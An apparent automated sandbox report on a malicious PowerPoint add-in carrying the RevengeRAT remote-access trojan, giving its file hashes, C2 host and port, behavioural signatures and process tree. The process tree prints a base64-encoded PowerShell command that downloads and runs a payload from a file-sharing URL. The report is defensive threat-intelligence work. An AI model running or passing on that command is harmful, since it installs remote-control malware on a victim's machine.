Analysis

  • max time kernel
    70s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16-05-2023 20:42

General

  • Target

    2fe97c1cb597d1812cfefe11ce2327da3d18e3cc16bacf38512db1cbd53570d5.ppam

  • Size

    19KB

  • MD5

    f2c6f5b43d73d91bb9eb0de2812ff7cb

  • SHA1

    d4dbf0af4bfbd0f6ce0aadb9dcbbc30cebf36aad

  • SHA256

    2fe97c1cb597d1812cfefe11ce2327da3d18e3cc16bacf38512db1cbd53570d5

  • SHA512

    bd2abddb6f66c5f104925d48d6499ed336e52b43829ee42595f00382c69dccb4398822c8df565c31a44ea9fe12dc4fc31c953652a4698bdf6fbfa96df304a82a

  • SSDEEP

    384:dXPWGaYOMHEG4upmXuB44OPJ8GfkXjedXRMx+CI/tQiZlyszuCqo9NRrccG:VPWGNO7kpme64C21Xjc2xXI/XTys6ARk

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\2fe97c1cb597d1812cfefe11ce2327da3d18e3cc16bacf38512db1cbd53570d5.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1064
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1264
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:644
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:1808

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/644-84-0x00000000024D0000-0x00000000024E8000-memory.dmp

      Filesize

      96KB

    • memory/644-82-0x00000000024D0000-0x00000000024E8000-memory.dmp

      Filesize

      96KB

    • memory/644-62-0x0000000002760000-0x0000000002798000-memory.dmp

      Filesize

      224KB

    • memory/644-63-0x0000000002730000-0x0000000002747000-memory.dmp

      Filesize

      92KB

    • memory/644-64-0x0000000005000000-0x000000000503D000-memory.dmp

      Filesize

      244KB

    • memory/644-80-0x00000000024D0000-0x00000000024E8000-memory.dmp

      Filesize

      96KB

    • memory/644-86-0x00000000024D0000-0x00000000024E8000-memory.dmp

      Filesize

      96KB

    • memory/644-90-0x00000000024D0000-0x00000000024E8000-memory.dmp

      Filesize

      96KB

    • memory/644-79-0x00000000024D0000-0x00000000024E8000-memory.dmp

      Filesize

      96KB

    • memory/644-61-0x00000000027B0000-0x00000000027F0000-memory.dmp

      Filesize

      256KB

    • memory/644-60-0x00000000027B0000-0x00000000027F0000-memory.dmp

      Filesize

      256KB

    • memory/644-88-0x00000000024D0000-0x00000000024E8000-memory.dmp

      Filesize

      96KB

    • memory/1064-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1808-102-0x0000000004890000-0x00000000048D0000-memory.dmp

      Filesize

      256KB

    • memory/1808-92-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1808-93-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1808-95-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1808-94-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1808-96-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1808-98-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1808-100-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1808-101-0x0000000004890000-0x00000000048D0000-memory.dmp

      Filesize

      256KB

    • memory/1808-91-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB